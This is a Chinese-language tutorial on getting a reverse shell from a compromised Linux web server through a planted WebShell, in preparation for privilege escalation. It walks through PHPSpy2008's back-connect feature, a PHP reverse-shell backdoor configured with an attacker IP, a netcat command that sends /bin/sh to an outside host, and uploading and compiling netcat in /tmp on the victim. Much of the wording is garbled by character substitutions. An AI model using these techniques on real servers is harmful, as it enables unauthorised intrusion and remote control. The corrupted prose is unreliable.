Linux下通過WebShell反彈CmdShell,在網(wǎng)站處事器入侵提權(quán)進(jìn)程中的應(yīng)用比Windows情況下更廣更頻繁。Linux提權(quán)絕大部門都靠的是Local Exploit。WebShell一般都可以執(zhí)行呼吁,可是溢出必需在可交互情況運(yùn)行,不然假如直接在WebShell執(zhí)行,縱然能溢出提權(quán)樂成,也沒法操作。因此必需要反彈一個(gè)Shell呼吁行窗口,在呼吁行終端下執(zhí)行溢出舉辦提權(quán)。
利用PHP WebShell木馬反彈Shell
一般環(huán)境下,大大都PHP WebShell木馬后門都帶有的Back Connect成果彈回一個(gè)Shell。譬喻在PHPSpy2008木馬后門中,有一個(gè)Back Connect反彈毗連成果,可以反彈得到一個(gè)擔(dān)任當(dāng)前WebShell權(quán)限的Shell呼吁窗口。
在利用Back Connect反彈毗連成果前,首先需要利用NC東西在當(dāng)?shù)乇O(jiān)聽一個(gè)未利用的端口,譬喻監(jiān)聽當(dāng)?shù)?888端口,執(zhí)行如下呼吁:
nc -vv -l -p 8080
然后在WebShell的Back Connect反彈毗連成果頁中,會(huì)自動(dòng)檢測本機(jī)的IP地點(diǎn),在"Your IP"中顯示本機(jī)IP,在"Your Port"中輸入監(jiān)聽的端口,這里為8080。然后選擇要利用的反彈毗連方法,PHPSpy2008提供了兩種反彈毗連方法,Perl和C,這里利用Perl反彈(圖1)。
圖1
配置完畢后,點(diǎn)擊"Start"按鈕,即可發(fā)送Shell窗口到監(jiān)聽端口了。在NC監(jiān)聽窗口中,可獲得一個(gè)Shell呼吁行窗口(圖2)。
圖2
除了PHPSpy2008之外,尚有一些專用的PHP反彈shell網(wǎng)頁后門。首先在當(dāng)?shù)赜梦谋揪庉嬈鞔蜷_PHP反彈shell網(wǎng)頁后門文件,在個(gè)中找到如下代碼內(nèi)容:
$yourip = "111.123.96.28";
$yourport = '8888';
圖3
修改配置個(gè)中的反彈IP地點(diǎn)111.123.96.28為本機(jī)IP地點(diǎn),默認(rèn)反彈端口為8888,可舉辦修改(圖3)。修改后生存文件,將其通過WebShell上傳。假設(shè)上傳后的鏈接地點(diǎn)為http://www.***.com/shell.php。然后在當(dāng)?shù)卮蜷_呼吁提示符窗口,執(zhí)行如下呼吁:
nc -vv -l -p 8888
利用nc監(jiān)聽當(dāng)?shù)氐?888端口。在欣賞器中會(huì)見http://www.***.com/shell.php,在nc監(jiān)聽的端口中,就可以得到一個(gè)從網(wǎng)站處事器上返返來的呼吁行Shell了。
利用NC反彈Shell
在舉辦Shell反彈時(shí),有時(shí)會(huì)碰隨處事器不支持PHP可能WebShell無法樂成反彈Shell的環(huán)境,譬喻有的處事器只支持JSP,不支持PHP。此時(shí),可以同樣回收Windows下的經(jīng)典的NC反彈Shell要領(lǐng)。
在Windows下反彈CmdShell時(shí),首先要在本機(jī)運(yùn)行"nc -vv -l -p 端標(biāo)語"監(jiān)聽端口,然后在WebShell中執(zhí)行"nc -e cmd.exe 監(jiān)聽主機(jī)IP地點(diǎn) 端口",就可以反彈一個(gè)CmdShell。這個(gè)要領(lǐng)在Linux中仍然可行,只不外需要作一點(diǎn)小小的竄改。
--在本機(jī)監(jiān)聽端口后,在WebShell運(yùn)行nc反彈時(shí),需要發(fā)送的是"/bin/sh",而不是cmd.exe,,這樣才夠反彈發(fā)送一個(gè)Linux下的Shell呼吁行窗口給監(jiān)聽主機(jī)。譬喻執(zhí)行如下呼吁:
nc 119.1.44.32 8888 -e /bin/sh
即可反彈一個(gè)Shell到IP地點(diǎn)為119.1.44.32的監(jiān)聽主機(jī)的8888端口。
長途主機(jī)無NC東西時(shí)的辦理步伐
在利用NC反彈Shell時(shí),還會(huì)遇到長途主機(jī)上不能直接執(zhí)行nc,可能沒有安裝nc東西。遇到這樣的環(huán)境,可以給手工給長途主機(jī)安裝一個(gè)NC,較量利便的要領(lǐng)是,到http://netcat.sourceforge.net/download.php下載nc源碼,然后在當(dāng)?shù)豅inux呆板上編譯成可執(zhí)行措施后,再將編譯文件上傳到長途主機(jī)上。假如當(dāng)?shù)鼐幾g的措施在長途主機(jī)上無法利用,可以直接把源碼傳上去后,在方針呆板上直接編譯。
假如需要在方針呆板上編譯NC的話,需要留意一些問題,因?yàn)樵讷@得Shell呼吁行窗口前,只能在WebShell里執(zhí)行呼吁,一般每次只能執(zhí)行一條,然后期待執(zhí)行后的功效回顯。
別的,在編譯時(shí)需要留意措施執(zhí)行路徑的問題。由于Linux下權(quán)限配置很是嚴(yán)格,縱然進(jìn)攻者得到了WebShell,也大概無法直接在WEB網(wǎng)頁目次下寫入文件,只能在/tmp之類的文件夾中上傳寫入NC源文件(圖4)。
圖4
譬喻WebShell在/var/www/目次,那么在WebShell中執(zhí)行呼吁默認(rèn)的當(dāng)前路徑都是/var/www/,假如netcat源碼包解壓在了/tmp/netcat-0.7.1文件夾,在編譯netcat舉辦make操縱時(shí),由于當(dāng)前路徑是/var/www/,而不是/tmp/netcat-0.7.1,所以在make操縱時(shí)會(huì)墮落。辦理這個(gè)問題其實(shí)很簡樸,可以直接把切換路徑和make操縱兩句呼吁寫成一句,用分號離隔寫就可以了。
將netcat-0.7.1源文件上傳到可寫文件夾/tmp中后,在WebShell中編譯nc的操縱進(jìn)程及呼吁如下:
cd /tmp;tar zxvf /tmp/netcat-0.7.1.tar.gz
圖5
執(zhí)行該呼吁后,可以將netcat-0.7.1源文件解壓到/tmp/netcat-0.7.1目次中(圖5)。然后再執(zhí)行呼吁:
/tmp/netcat-0.7.1/configure
設(shè)置完畢后,再執(zhí)行如下呼吁舉辦編譯:
cd /tmp/netcat-0.7.1;make
由于利用了分號,可同時(shí)執(zhí)行兩條呼吁,將make跟在目次切換呼吁后頭,在編譯的時(shí)候就不會(huì)報(bào)錯(cuò)了(圖6)。
圖6